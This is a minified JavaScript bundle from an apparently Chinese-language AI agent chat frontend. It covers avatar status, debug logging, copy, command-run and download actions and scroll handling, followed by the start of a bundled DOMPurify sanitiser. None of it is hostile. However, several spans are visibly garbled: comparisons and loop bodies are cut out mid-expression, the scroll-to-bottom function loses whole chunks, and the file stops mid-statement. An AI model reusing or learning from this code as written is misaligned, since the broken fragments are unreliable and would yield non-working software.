this.composerBusy&&!this.displayLockEngaged},composerHeroActive(){return(this.blankHeroActive||this.blankHeroExiting)&&!this.composerInteractionActive},showStatusAvatar(){var s;return((s=qs().form)==null?void 0:s.show_status_avatar)!==!1},composerInteractionActive(){const s=!!(this.inputMessage&&this.inputMessage.trim().length>0),e=Array.isArray(this.selectedImages)&&this.selectedImages.length>0,t=Array.isArray(this.selectedFiles)&&this.selectedFiles.length>0;return this.quickMenuOpen||s||e||t},showScrollToBottomButton(){return this.chatDisplayMode==="chat"&&!this.stickIsNearBottom},rightPanelsStyle(){const s=Math.min(this.rightWidth||420,600),e=this.terminalPanelOpen,t=this.gitChangesPanelOpen,n=this.rightSplitRatio??.5,i=Math.max(.15,Math.min(.85,Number(n)||.5));let r;return e&&t?r=`${i}fr 2px ${1-i}fr`:e?r="1fr 0px 0fr":t?r="0fr 0px 1fr":r="0fr 0px 0fr",{width:s+"px",gridTemplateRows:r}},avatarStatus(){var p,m,v,g,y,b;const s=Array.isArray(this.messages)?this.messages:[],e=(()=>{var _;for(let w=s.length-1;w>=0;w--)if(((_=s[w])==null?void 0:_.role)==="assistant")return s[w];return null})(),t=oh(),n=cm(),i=_=>(Array.isArray(_)?_:[]).filter(w=>{if(!w)return!1;const S=String((w==null?void 0:w.status)||"").toLowerCase();return S?!vZ.has(S):!0}).length,r=i(t.subAgents),o=i(n.commands),a=(()=>{const _=[];return o>0&&_.push(`${o}个后台指令`),r>0&&_.push(`${r}个后台智能体`),_.length?`${_.join(",")}运行中...`:""})(),c=!!((p=qs().form)!=null&&p.tool_intent_enabled),l=!!e&&(e.currentStreamingType==="thinking"||e.activeThinkingId!=null);let u=[];e&&(u=mZ(e.actions||[]).filter(w=>{var C,T;const S=String(((C=w==null?void 0:w.tool)==null?void 0:C.status)||"").toLowerCase();return((T=w==null?void 0:w.tool)==null?void 0:T.awaiting_content)||!S||zI.has(S)})),u.length===0&&(u=[...Array.from(((v=(m=this.preparingTools)==null?void 0:m.values)==null?void 0:v.call(m))||[]),...Array.from(((y=(g=this.activeTools)==null?void 0:g.values)==null?void 0:y.call(g))||[])].map(w=>(w==null?void 0:w.type)==="tool"?w:{type:"tool",tool:w}).filter(w=>{const S=w==null?void 0:w.tool;if(!S)return!1;const C=String((S==null?void 0:S.status)||"").toLowerCase();return(S==null?void 0:S.awaiting_content)||!C||zI.has(C)}));const h=this.preparingTools&&this.preparingTools.size>0||this.activeTools&&this.activeTools.size>0,d=this.streamingMessage||this.taskInProgress||this.waitingForSubAgent||this.waitingForBackgroundCommand||this.stopRequested||h||u.length>0||r>0||o>0;if(l)return{mode:"think",toolKeys:[],toolTexts:[],text:"思考中...",tracking:!1};if(u.length>0){const _=u.map(T=>{var k;return gZ((k=T==null?void 0:T.tool)==null?void 0:k.name)}),w=T=>{if(!T)return"";const k=T.intent_full||"",A=T.intent_rendered||"";return k&&A===k?k:""},S=u.map(T=>c?w(T==null?void 0:T.tool):"");let C=S[0]||"";return u.length>1?C=S[0]||"":C||(C=c?w((b=u[0])==null?void 0:b.tool):""),{mode:"tool",toolKeys:_,toolTexts:S,text:C,tracking:!1}}if(d){let _=a;if(!_){const w=e&&e.awaitingFirstContent?e:null;w&&(_=typeof w.generatingLabel=="string"&&w.generatingLabel.trim()||"")}return{mode:"work",toolKeys:[],toolTexts:[],text:_,tracking:!1}}return{mode:"idle",toolKeys:[],toolTexts:[],text:"",tracking:!0}}};function Oe(...s){}const nl=(...s)=>{};function bZ(){var s;if(typeof window>"u")return!1;try{const e=window.__GOAL_MODE_DEBUG__;if(e===!0||e==="1")return!0;if(e===!1||e==="0")return!1;const t=(s=window.localStorage)==null?void 0:s.getItem("goalModeDebug");return t==="1"||t==="true"}catch{return!1}}let jI=0;function yn(s,e={}){if(bZ())try{jI+=1;const t={event:s,seq:jI,client_ts:new Date().toISOString(),...e};console.log("[GOAL_MODE_DEBUG]",s,t),typeof fetch<"u"&&fetch("/api/client_debug_log",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(t)}).catch(()=>{})}catch{}}const _Z={inputMessage(){this.autoResizeInput(),typeof this.scheduleComposerDraftPersist=="function"&&this.scheduleComposerDraftPersist("watch-input-message")},messages:{deep:!0,handler(){this.refreshBlankHeroState()}},composerBusy(s,e){e&&!s&&typeof this.tryAutoSendRuntimeQueuedMessages=="function"&&this.tryAutoSendRuntimeQueuedMessages("watch-composer-idle")},runtimeQueuedMessages:{deep:!0,handler(s){Array.isArray(s)&&s.length>0&&!this.composerBusy&&typeof this.tryAutoSendRuntimeQueuedMessages=="function"&&this.tryAutoSendRuntimeQueuedMessages("watch-runtime-queue")}},runtimeGuidanceFallbackQueue:{deep:!0,handler(s){Array.isArray(s)&&s.length>0&&!this.composerBusy&&typeof this.tryAutoSendRuntimeQueuedMessages=="function"&&this.tryAutoSendRuntimeQueuedMessages("watch-runtime-guidance-fallback")}},currentConversationTitle(s,e){const t=s&&s.trim()||"";if(this.suppressTitleTyping){this.titleTypingText=t,this.titleTypingTarget=t;return}const n=e&&e.trim()||this.titleTypingText&&this.titleTypingText.trim()||"",o=(!n||n==="新对话")&&!(!t||t==="新对话");this.startTitleTyping(t,{animate:o})},currentConversationId:{immediate:!1,handler(s,e){if(s!==e){vr().setCurrentConversationId(s||null),s||(this.currentConversationType=null,vr().$patch({multiAgentMode:!1}));const t=Bo();t.resetTransient(),s||(t.setEditedFiles([]),Tc().setTodoList(null))}if(Oe("currentConversationId 变化",{oldValue:e,newValue:s,skipConversationHistoryReload:this.skipConversationHistoryReload}),nl("watch:currentConversationId",{oldValue:e,newValue:s,skipConversationHistoryReload:this.skipConversationHistoryReload,historyLoading:this.historyLoading,historyLoadingFor:this.historyLoadingFor,historyLoadSeq:this.historyLoadSeq}),this.refreshBlankHeroState(),this.logMessageState("watch:currentConversationId",{oldValue:e,newValue:s,skipConversationHistoryReload:this.skipConversationHistoryReload}),e!==s&&!this.taskInProgress&&!this.composerBusy&&typeof this.restoreComposerDraftState=="function"&&this.restoreComposerDraftState(`watch-conversation-id:${e||"none"}->${s||"none"}`),!s||typeof s!="string"||s.startsWith("temp_")){this.versioningEnabled=!1,this.versioningTrackingMode="conversation_only";return}if(this.fetchVersioningStatus(s,{silent:!0}),this.skipConversationHistoryReload){this.skipConversationHistoryReload=!1;return}e&&s===e||(this.fetchAndDisplayHistory(),this.fetchConversationTokenStatistics(),this.updateCurrentContextTokens())}},fileTree:{immediate:!0,handler(s){this.monitorSyncDesktop(s)}}},SZ={pushToast:()=>{},autoResizeInput:()=>{},focusComposer:()=>{},isConnected:()=>!1,executeCommand:async()=>({success:!1,message:"命令通道不可用"}),downloadResource:async()=>{}};function wZ(s){return typeof CSS<"u"&&typeof CSS.escape=="function"?CSS.escape(s):s.replace(/["\\]/g,"\\$&")}function kZ(s){const e=document.createElement("textarea");return e.innerHTML=s,e.value}const CZ=dn("chatActions",{state:()=>({dependencies:{...SZ}}),actions:{registerDependencies(s){this.dependencies={...this.dependencies,...s}},async copyActionContent(s,e){var n;const t=(n=s&&(s.content||s.text||""))==null?void 0:n.toString();if(!t)return this.dependencies.pushToast({title:"复制失败",message:"未找到可复制的内容",type:"warning"}),!1;try{return await this.copyText(t),this.dependencies.pushToast({title:"已复制",message:e?`片段 ${e} 已复制到剪贴板`:"内容已复制到剪贴板",type:"success"}),!0}catch(i){return console.warn("复制失败:",i),this.dependencies.pushToast({title:"复制失败",message:"浏览器阻止了复制操作,请手动选择文本后复制。",type:"error"}),!1}},async copyCodeBlock(s){if(!s)return!1;const e=`[data-code-id="${wZ(s)}"]`,t=document.querySelector(e);if(!t)return this.dependencies.pushToast({title:"复制失败",message:"未找到对应的代码块",type:"warning"}),!1;const n=t.getAttribute("data-original-code"),i=n?kZ(n):t.textContent||"";if(!i.trim())return this.dependencies.pushToast({title:"复制失败",message:"代码内容为空",type:"warning"}),!1;try{return await this.copyText(i),this.dependencies.pushToast({title:"已复制",message:"代码已复制到剪贴板",type:"success"}),!0}catch(r){return console.warn("复制代码失败:",r),this.dependencies.pushToast({title:"复制失败",message:"浏览器阻止了复制操作,请手动复制。",type:"error"}),!1}},applyActionContent(s){return!s||!s.content?(this.dependencies.pushToast({title:"无法应用",message:"缺少可应用的内容",type:"warning"}),!1):(q0().setInputMessage(s.content),this.dependencies.autoResizeInput(),this.dependencies.focusComposer(),this.dependencies.pushToast({title:"已填充",message:"请检查内容后发送以应用这些修改。",type:"info"}),!0)},async runCommand(s){var t;const e=(t=s&&(s.command||s.content))==null?void 0:t.toString();if(!e)return this.dependencies.pushToast({title:"无法执行",message:"没有可执行的命令内容",type:"warning"}),!1;if(!this.dependencies.isConnected())return this.dependencies.pushToast({title:"连接已断开",message:"请重新连接后再试。",type:"error"}),!1;try{const n=await this.dependencies.executeCommand(e);return n&&n.success===!1?(this.dependencies.pushToast({title:"命令执行失败",message:n.message||"请稍后重试",type:"error"}),!1):(this.dependencies.pushToast({title:"命令已执行",message:e,type:"success"}),!0)}catch(n){return this.dependencies.pushToast({title:"命令执行失败",message:(n==null?void 0:n.message)||"请稍后重试",type:"error"}),!1}},async downloadActionAttachment(s){return!s||!s.path?(this.dependencies.pushToast({title:"下载失败",message:"没有可下载的目标文件",type:"warning"}),!1):this.downloadFile(s.path)},async downloadFile(s){if(!s)return this.dependencies.pushToast({title:"下载失败",message:"没有提供有效的文件路径",type:"warning"}),!1;const e=`/api/download/file?path=${encodeURIComponent(s)}`,t=s.split("/").pop()||"file";try{return await this.dependencies.downloadResource(e,t),!0}catch(n){return console.warn("下载失败:",n),n&&n.message&&this.dependencies.pushToast({title:"下载失败",message:n.message,type:"error"}),!1}},async copyText(s){if(navigator.clipboard&&navigator.clipboard.writeText){await navigator.clipboard.writeText(s);return}const e=document.createElement("textarea");e.value=s,e.style.position="fixed",e.style.top="-1000px",document.body.appendChild(e),e.focus(),e.select(),document.execCommand("copy"),document.body.removeChild(e)}}}),a0=new WeakMap;let W_=null;const VI=new WeakMap;let z_=null,BC=0;const FC=1200,GI=new Map;let $C=0;const HC=160,qI=new Map;function wS(){if(typeof window>"u")return!1;try{const s=Number(window.__SHOW_TAG_DRAWING_UNTIL__||0);return Date.now()<=s}catch{return!1}}function TZ(){var s;if(typeof window>"u")return!1;try{const e=window.__SCROLL_DEBUG__;if(e===!1||e==="0")return!1;if(e===!0||e==="1"){const i=Number(window.__SHOW_TAG_DRAWING_UNTIL__||0);return Date.now()<=i}const t=(s=window.localStorage)==null?void 0:s.getItem("scrollDebug");if(t==="0"||t==="false")return!1;if(t==="1"||t==="true"){const i=Number(window.__SHOW_TAG_DRAWING_UNTIL__||0);return Date.now()<=i}const n=Number(window.__SHOW_TAG_DRAWING_UNTIL__||0);return Date.now()<=n}catch{return!1}}function AZ(){var s;if(typeof window>"u")return!1;try{const e=window.__SHOW_HTML_SCROLL_TRACE__;if(e===!1||e==="0")return!1;if(e===!0||e==="1")return!0;const t=(s=window.localStorage)==null?void 0:s.getItem("showHtmlScrollTrace");return t==="0"||t==="false"?!1:t==="1"||t==="true"}catch{return!1}}function kS(s){const e=s.scrollTop,t=s.scrollHeight,n=s.clientHeight,i=Math.max(0,t-n),r=t-e-n;return{top:e,height:t,client:n,maxTop:i,remain:r}}function Fv(s){const e=s.querySelectorAll(".chat-inline-card--html, .chat-inline-html"),t=e[e.length-1]||null;if(!t)return null;const n=s.getBoundingClientRect(),i=t.getBoundingClientRect();return{count:e.length,y:Math.round(i.y),h:Math.round(i.height),bottomInArea:Math.round(i.bottom-n.top),areaClient:Math.round(s.clientHeight),belowViewportPx:Math.round(Math.max(0,i.bottom-n.bottom))}}function hT(s){return!!s.querySelector("show_html, show-html, .chat-inline-html, .chat-inline-card--html")}function Uh(s,e={},t=s,n=280){if(!AZ()||$C>=HC)return;const i=Date.now(),r=qI.get(t)||0;if(!(n>0&&i-r=FC)return;const i=Date.now(),r=GI.get(t)||0;if(!(n>0&&i-rt.clientHeight+2)&&!(e!=null&&e.force)&&!n){Ai("scrollToBottom:skip:no-overflow",{top:t.scrollTop,height:t.scrollHeight,client:t.clientHeight,drawingActive:n},"scrollToBottom:skip:no-overflow",120),typeof s._setScrollingFlag=="function"&&s._setScrollingFlag(!1),e!=null&&e.resetUserScrolling&&((h=s.chatSetScrollState)==null||h.call(s,{userScrolling:!1}));return}const r=`t${Date.now()}_${Math.random().toString(36).slice(2,7)}`,o=kS(t);(n||e!=null&&e.force)&&Uh("scrollToBottom:start",{traceId:r,drawingActive:n,force:!!(e!=null&&e.force),...o,lastShowHtml:Fv(t)},"scrollToBottom:start",120);const a=(e==null?void 0:e.behavior)==="smooth"&&typeof t.scrollTo=="function";Ai("scrollToBottom:start",{traceId:r,useSmooth:a,ignoreUserScrolling:!!(e!=null&&e.ignoreUserScrolling),resetUserScrolling:!!(e!=null&&e.resetUserScrolling),autoScrollEnabled:s.autoScrollEnabled,userScrolling:s.userScrolling,drawingActive:n,top:t.scrollTop,height:t.scrollHeight,client:t.clientHeight},`scrollToBottom:start:${r}`,0);let c=a0.get(t);c||(c={rafId:null,settleTimer:null},a0.set(t,c)),c.rafId!==null&&(cancelAnimationFrame(c.rafId),c.rafId=null),c.settleTimer&&(clearTimeout(c.settleTimer),c.settleTimer=null);const l=()=>{if(s.userScrolling&&!(e!=null&&e.ignoreUserScrolling)&&!(e!=null&&e.force)){Ai("scrollToBottom:skip:user-scrolling",{traceId:r,userScrolling:s.userScrolling},"scrollToBottom:skip:user-scrolling",0),typeof s._setScrollingFlag=="function"&&s._setScrollingFlag(!1);return}a?t.scrollTo({top:t.scrollHeight+(n?Math.max(24,Math.floor(t.clientHeight*.12)):0),behavior:"smooth"}):t.scrollTop=t.scrollHeight+(n?Math.max(24,Math.floor(t.clientHeight*.12)):0),(n||e!=null&&e.force)&&Uh("scrollToBottom:after-write",{traceId:r,drawingActive:n,...kS(t),lastShowHtml:Fv(t)},"scrollToBottom:after-write",120);let d=0,p=-1;const m=Date.now(),v=n?30:12,g=n?3200:1200,y=()=>{d+=1,t.scrollTop=t.scrollHeight+(n?Math.max(24,Math.floor(t.clientHeight*.12)):0);const b=t.scrollHeight,_=b-t.scrollTop-t.clientHeight,w=Math.abs(b-p)<=2,S=Math.abs(_)<=2,C=Date.now()-m,T=!S&&d2)&&Uh("scrollToBottom:done",{traceId:r,settleCount:d,drawingActive:n,...kS(t),lastShowHtml:Fv(t)},"scrollToBottom:done",120),Ai("scrollToBottom:done",{traceId:r,settleCount:d,top:t.scrollTop,height:t.scrollHeight,client:t.clientHeight},`scrollToBottom:done:${r}`,0)};c.settleTimer=setTimeout(y,120)};typeof s._setScrollingFlag=="function"&&s._setScrollingFlag(!0),c.rafId=requestAnimationFrame(()=>{c.rafId=null,Ai("scrollToBottom:raf",{traceId:r},`scrollToBottom:raf:${r}`,0),l(),!c.settleTimer&&typeof s._setScrollingFlag=="function"&&s._setScrollingFlag(!1)})}function KI(s){var i,r,o;const e=typeof s.isOutputActive=="function"?s.isOutputActive():!0,t=(i=s.getMessagesAreaElement)==null?void 0:i.call(s),n=!!t&&wS()&&hT(t);if(!n&&wS()&&t&&Uh("conditional:skip-stale-drawing-window",{...kS(t),lastShowHtml:Fv(t)},"conditional:skip-stale-drawing-window",260),Ai("conditional:start",{active:e,autoScrollEnabled:s.autoScrollEnabled,userScrolling:s.userScrolling,drawingActive:n},"conditional:start",120),s.autoScrollEnabled===!0&&e){if(!t){Ai("conditional:skip:no-area");return}if(z_&&z_!==t){Ai("conditional:area-replaced",{},"conditional:area-replaced",0);const m=a0.get(z_);m&&m.rafId!==null&&(cancelAnimationFrame(m.rafId),m.rafId=null),m&&m.settleTimer&&(clearTimeout(m.settleTimer),m.settleTimer=null)}z_=t;const a=t.scrollTop,c=t.scrollHeight,l=t.clientHeight,u=c-a-l;if(c<=l+2&&!n){(r=s.chatSetScrollState)==null||r.call(s,{userScrolling:!1}),Ai("conditional:skip:no-overflow",{top:a,height:c,client:l,remain:u},"conditional:skip:no-overflow",120);return}c<=l+2&&n&&Uh("conditional:drawing-no-overflow-but-continue",{top:a,height:c,client:l,remain:u,drawingActive:n},"conditional:drawing-no-overflow-but-continue",200);const h=a0.get(t);if((h==null?void 0:h.rafId)!==null||h!=null&&h.settleTimer){Ai("conditional:skip:pending-task",{hasRaf:(h==null?void 0:h.rafId)!==null,hasSettle:!!(h!=null&&h.settleTimer),top:a,height:c,client:l},"conditional:skip:pending-task",100);return}const d=Date.now(),p=VI.get(t)||0;if(d-p<90){Ai("conditional:skip:too-frequent",{gap:d-p,top:a,height:c,client:l},"conditional:skip:too-frequent",100);return}VI.set(t,d),s.userScrolling===!0&&((o=s.chatSetScrollState)==null||o.call(s,{userScrolling:!1})),W_!==null&&cancelAnimationFrame(W_),W_=requestAnimationFrame(()=>{var b;W_=null;const m=(b=s.getMessagesAreaElement)==null?void 0:b.call(s);if(!m||m!==t){Ai("conditional:skip:area-changed-before-raf",{},"conditional:skip:area-changed-before-raf",0);return}const v=m.scrollHeight,g=m.clientHeight,y=wS()&&hT(m);if(v<=g+2&&!y){Ai("conditional:skip:no-overflow-before-raf",{top:m.scrollTop,height:v,client:g},"conditional:skip:no-overflow-before-raf",100);return}y&&Uh("conditional:raf-scroll",{top:m.scrollTop,height:v,client:g,remain:v-m.scrollTop-g,lastShowHtml:Fv(m)},"conditional:raf-scroll",140),Ai("conditional:raf-scroll",{top:m.scrollTop,height:v,client:g},"conditional:raf-scroll",80),dT(s,{ignoreUserScrolling:!0,resetUserScrolling:!0,force:y})})}}function EZ(s){var e;s.autoScrollEnabled||(e=s.chatSetScrollState)==null||e.call(s,{autoScrollEnabled:!0,userScrolling:!1})}function MZ(s,e){var n,i;if(!e||!((n=s.thinkingScrollLocks)!=null&&n.get(e)))return;const t=(i=s.getThinkingContentElement)==null?void 0:i.call(s,e);t&&(t.scrollTop=t.scrollHeight)}/*! @license DOMPurify 3.4.8 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.4.8/LICENSE */function QI(s,e){(e==null||e>s.length)&&(e=s.length);for(var t=0,n=Array(e);t2?n-2:0),r=2;r1?t-1:0),i=1;i"u"?null:kn(BigInt.prototype.toString),tR=typeof Symbol>"u"?null:kn(Symbol.prototype.toString),Js=kn(Object.prototype.hasOwnProperty),km=kn(Object.prototype.toString),si=kn(RegExp.prototype.test),Jf=WZ(TypeError);function kn(s){return function(e){e instanceof RegExp&&(e.lastIndex=0);for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i2&&arguments[2]!==void 0?arguments[2]:Qm;if(XI&&XI(s,null),!Hi(e))return s;let n=e.length;for(;n--;){let i=e[n];if(typeof i=="string"){const r=t(i);r!==i&&(OZ(e)||(e[n]=r),i=r)}s[i]=!0}return s}function zZ(s){for(let e=0;e/g),XZ=$o(/\${[\w\W]*/g),YZ=$o(/^data-[\-\w.\u00B7-\uFFFF]+$/),JZ=$o(/^aria-[\-\w]+$/),oR=$o(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),ZZ=$o(/^(?:\w+script|data):/i),eee=$o(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),tee=$o(/^html$/i),see=$o(/^[a-z][.\w]*(-[.\w]+)+$/i),wa={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},nee=function(){return typeof window>"u"?null:window},iee=function(e,t){if(typeof e!="object"||typeof e.createPolicy!="function")return null;let n=null;const i="data-tt-policy-suffix";t&&t.hasAttribute(i)&&(n=t.getAttribute(i));const r="dompurify"+(n?"#"+n:"");try{return e.createPolicy(r,{createHTML(o){return o},createScriptURL(o){return o}})}catch{return console.warn("TrustedTypes policy "+r+" could not be created."),null}},aR=function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}};function TD(){let s=arguments.length>0&&arguments[0]!==void 0?arguments[0]:nee();const e=Je=>TD(Je);if(e.version="3.4.8",e.removed=[],!s||!s.document||s.document.nodeType!==wa.document||!s.Element)return e.isSupported=!1,e;let t=s.document;const n=t,i=n.currentScript;s.DocumentFragment;const r=s.HTMLTemplateElement,o=s.Node,a=s.Element,c=s.NodeFilter,l=s.NamedNodeMap;l===void 0&&(s.NamedNodeMap||s.MozNamedAttrMap),s.HTMLFormElement;const u=s.DOMParser,h=s.trustedTypes,d=a.prototype,p=Ta(d,"cloneNode"),m=Ta(d,"remove"),v=Ta(d,"nextSibling"),g=Ta(d,"childNodes"),y=Ta(d,"parentNode"),b=Ta(d,"shadowRoot"),_=Ta(d,"attributes"),w=o&&o.prototype?Ta(o.prototype,"nodeType"):null,S=o&&o.prototype?Ta(o.prototype,"nodeName"):null;if(typeof r=="function"){const Je=t.createElement("template");Je.content&&Je.content.ownerDocument&&(t=Je.content.ownerDocument)}let C,T="",k=0;const A=function(ne){if(k>0)throw Jf('The configured TRUSTED_TYPES_POLICY.createHTML must not call DOMPurify.sanitize, as that causes infinite recursion. Do not pass a policy whose createHTML wraps DOMPurify as TRUSTED_TYPES_POLICY; see the "DOMPurify and Trusted Types" section of the README.');k++;try{return C.createHTML(ne)}finally{k--}},M=t,R=M.implementation,P=M.createNodeIterator,L=M.createDocumentFragment,z=M.getElementsByTagName,Q=n.importNode;let W=aR();e.isSupported=typeof kD=="function"&&typeof y=="function"&&R&&R.createHTMLDocument!==void 0;const V=KZ,N=QZ,O=XZ,H=YZ,G=JZ,ee=ZZ,ie=eee,ve=see;let le=oR,oe=null;const I=Pt({},[...sR,...WC,...zC,...jC,...nR]);let K=null;const X=Pt({},[...iR,...VC,...rR,...j_]);let J=Object.seal(up(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),he=null,be=null;const Re=Object.seal(up(null,{tagCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeCheck:{writable:!0,configurable:!1,enumerable:!0,value:null}}));let rt=!0,st=!0,et=!1,De=!0,xe=!1,se=!0,ce=!1,de=!1,we=!1,Le=!1,He=!1,yt=!1,At=!0,Nt=!1;const It="user-content-";let Jt=!0,$t=!1,As={},ut=null;const Hs=Pt({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]);let hl=null;const In=Pt({},["audio","video","img","source","image","track"]);let Uo=null;const nr=Pt({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Qs="http://www.w3.org/1998/Math/MathML",Yn="http://www.w3.org/2000/svg",Rn="http://www.w3.org/1999/xhtml";let ir=Rn,Wo=!1,Ln=null;const ma=Pt({},[Qs,Yn,Rn],UC);let zo=Pt({},["mi","mo","mn","ms","mtext"]),io=Pt({},["annotation-xml"]);const dl=Pt({},["title","style","font","a","script"]);let Jn=null;const jo=["application/xhtml+xml","text/html"],va="text/html";let fe=null,me=null;const Ce=t.createElement("form"),dt=function(ne){return ne instanceof RegExp||ne instanceof Function},qt=function(){let ne=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(me&&me===ne)return;(!ne||typeof ne!="object")&&(ne={}),ne=yi(ne),Jn=jo.indexOf(ne.PARSER_MEDIA_TYPE)===-1?va:ne.PARSER_MEDIA_TYPE,fe=Jn==="application/xhtml+xml"?UC:Qm,oe=Js(ne,"ALLOWED_TAGS")&&Hi(ne.ALLOWED_TAGS)?Pt({},ne.ALLOWED_TAGS,fe):I,K=Js(ne,"ALLOWED_ATTR")&&Hi(ne.ALLOWED_ATTR)?Pt({},ne.ALLOWED_ATTR,fe):X,Ln=Js(ne,"ALLOWED_NAMESPACES")&&Hi(ne.ALLOWED_NAMESPACES)?Pt({},ne.ALLOWED_NAMESPACES,UC):ma,Uo=Js(ne,"ADD_URI_SAFE_ATTR")&&Hi(ne.ADD_URI_SAFE_ATTR)?Pt(yi(nr),ne.ADD_URI_SAFE_ATTR,fe):nr,hl=Js(ne,"ADD_DATA_URI_TAGS")&&Hi(ne.ADD_DATA_URI_TAGS)?Pt(yi(In),ne.ADD_DATA_URI_TAGS,fe):In,ut=Js(ne,"FORBID_CONTENTS")&&Hi(ne.FORBID_CONTENTS)?Pt({},ne.FORBID_CONTENTS,fe):Hs,he=Js(ne,"FORBID_TAGS")&&Hi(ne.FORBID_TAGS)?Pt({},ne.FORBID_TAGS,fe):yi({}),be=Js(ne,"FORBID_ATTR")&&Hi(ne.FORBID_ATTR)?Pt({},ne.FORBID_ATTR,fe):yi({}),As=Js(ne,"USE_PROFILES")?ne.USE_PROFILES&&typeof ne.USE_PROFILES=="object"?yi(ne.USE_PROFILES):ne.USE_PROFILES:!1,rt=ne.ALLOW_ARIA_ATTR!==!1,st=ne.ALLOW_DATA_ATTR!==!1,et=ne.ALLOW_UNKNOWN_PROTOCOLS||!1,De=ne.ALLOW_SELF_CLOSE_IN_ATTR!==!1,xe=ne.SAFE_FOR_TEMPLATES||!1,se=ne.SAFE_FOR_XML!==!1,ce=ne.WHOLE_DOCUMENT||!1,Le=ne.RETURN_DOM||!1,He=ne.RETURN_DOM_FRAGMENT||!1,yt=ne.RETURN_TRUSTED_TYPE||!1,we=ne.FORCE_BODY||!1,At=ne.SANITIZE_DOM!==!1,Nt=ne.SANITIZE_NAMED_PROPS||!1,Jt=ne.KEEP_CONTENT!==!1,$t=ne.IN_PLACE||!1,le=VZ(ne.ALLOWED_URI_REGEXP)?ne.ALLOWED_URI_REGEXP:oR,ir=typeof ne.NAMESPACE=="string"?ne.NAMESPACE:Rn,zo=Js(ne,"MATHML_TEXT_INTEGRATION_POINTS")&&ne.MATHML_TEXT_INTEGRATION_POINTS&&typeof ne.MATHML_TEXT_INTEGRATION_POINTS=="object"?yi(ne.MATHML_TEXT_INTEGRATION_POINTS):Pt({},["mi","mo","mn","ms","mtext"]),io=Js(ne,"HTML_INTEGRATION_POINTS")&&ne.HTML_INTEGRATION_POINTS&&typeof ne.HTML_INTEGRATION_POINTS=="object"?yi(ne.HTML_INTEGRATION_POINTS):Pt({},["annotation-xml"]);const Ee=Js(ne,"CUSTOM_ELEMENT_HANDLING")&&ne.CUSTOM_ELEMENT_HANDLING&&typeof ne.CUSTOM_ELEMENT_HANDLING=="object"?yi(ne.CUSTOM_ELEMENT_HANDLING):up(null);if(J=up(null),Js(Ee,"tagNameCheck")&&dt(Ee.tagNameCheck)&&(J.tagNameCheck=Ee.tagNameCheck),Js(Ee,"attributeNameCheck")&&dt(Ee.attributeNameCheck)&&(J.attributeNameCheck=Ee.attributeNameCheck),Js(Ee,"allowCustomizedBuiltInElements")&&typeof Ee.allowCustomizedBuiltInElements=="boolean"&&(J.allowCustomizedBuiltInElements=Ee.allowCustomizedBuiltInElements),xe&&(st=!1),He&&(Le=!0),As&&(oe=Pt({},nR),K=up(null),As.html===!0&&(Pt(oe,sR),Pt(K,iR)),As.svg===!0&&(Pt(oe,WC),Pt(K,VC),Pt(K,j_)),As.svgFilters===!0&&(Pt(oe,zC),Pt(K,VC),Pt(K,j_)),As.mathMl===!0&&(Pt(oe,jC),Pt(K,rR),Pt(K,j_))),Re.tagCheck=null,Re.attributeCheck=null,Js(ne,"ADD_TAGS")&&(typeof ne.ADD_TAGS=="function"?Re.tagCheck=ne.ADD_TAGS:Hi(ne.ADD_TAGS)&&(oe===I&&(oe=yi(oe)),Pt(oe,ne.ADD_TAGS,fe))),Js(ne,"ADD_ATTR")&&(typeof ne.ADD_ATTR=="function"?Re.attributeCheck=ne.ADD_ATTR:Hi(ne.ADD_ATTR)&&(K===X&&(K=yi(K)),Pt(K,ne.ADD_ATTR,fe))),Js(ne,"ADD_URI_SAFE_ATTR")&&Hi(ne.ADD_URI_SAFE_ATTR)&&Pt(Uo,ne.ADD_URI_SAFE_ATTR,fe),Js(ne,"FORBID_CONTENTS")&&Hi(ne.FORBID_CONTENTS)&&(ut===Hs&&(ut=yi(ut)),Pt(ut,ne.FORBID_CONTENTS,fe)),Js(ne,"ADD_FORBID_CONTENTS")&&Hi(ne.ADD_FORBID_CONTENTS)&&(ut===Hs&&(ut=yi(ut)),Pt(ut,ne.ADD_FORBID_CONTENTS,fe)),Jt&&(oe["#text"]=!0),ce&&Pt(oe,["html","head","body"]),oe.table&&(Pt(oe,["tbody"]),delete he.tbody),ne.TRUSTED_TYPES_POLICY){if(typeof ne.TRUSTED_TYPES_POLICY.createHTML!="function")throw Jf('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof ne.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw Jf('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');const Ue=C;C=ne.TRUSTED_TYPES_POLICY;try{T=A("")}catch(zt){throw C=Ue,zt}}else C===void 0&&ne.TRUSTED_TYPES_POLICY!==null&&(C=iee(h,i)),C&&typeof T=="string"&&(T=A(""));(W.uponSanitizeElement.length>0||W.uponSanitizeAttribute.length>0)&&oe===I&&(oe=yi(oe)),W.uponSanitizeAttribute.length>0&&K===X&&(K=yi(K)),sr&&sr(ne),me=ne},Ss=Pt({},[...WC,...zC,...GZ]),Kt=Pt({},[...jC,...qZ]),Es=function(ne){let 